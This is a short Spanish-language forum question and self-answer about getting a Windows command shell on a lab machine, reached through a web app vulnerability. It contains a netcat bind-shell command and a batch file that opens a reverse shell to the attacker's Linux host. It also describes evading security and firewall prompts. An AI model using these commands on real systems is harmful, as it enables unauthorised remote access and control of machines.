Ejecutar NetCat como archivo bat en lugar de exe

4

Necesito ejecutar un netcat en una máquina de laboratorio remota. Puedo ejecutar comandos remotos a través del navegador con derechos de administrador (debido a la vulnerabilidad de la aplicación) pero no tengo acceso a la máquina en sí.

Subí nc.exe en un servidor remoto, pero no funciona, lo más probable es que Windows pregunte si está bien ejecutar un software desconocido, pero no hay nadie que haga clic en "Permitir".

Así que intenté usar el software exe2bat , pero creo que hice algo mal cuando hice la conversión.

Este comando que debería funcionar para mí: nc.exe -lvp 7777 -e cmd.exe
Conversión: exe2bat nc.exe nc.bat
Ejecución: nc.bat -lvp 7777 -e cmd.exe

¿Puede recomendarme por qué no funciona para mí o qué estoy haciendo mal, o si hay algún otro conversor de exe a bat mejor?

    
pregunta Dranik 30.12.2015 - 20:08
fuente

1 respuesta

2

Tuve que subir nc.exe y nc2.bat para omitir la advertencia de seguridad de "Software desconocido".
nc2.bat para iniciar la conexión desde dentro y evitar el aviso de seguridad del firewall:

@echo on
c:\%path_to_nc%\nc -nv %LINUX_IP% 4466 -e cmd
  1. Luego configure un escucha en la IP de Linux

    nc -nlvp 4466
    
  2. Ejecute el comando remoto llamando a nc2

De esta manera obtuve el símbolo del sistema de la caja de Windows de inmediato.

    
respondido por el Dranik 05.01.2016 - 15:25
fuente

Lea otras preguntas en las etiquetas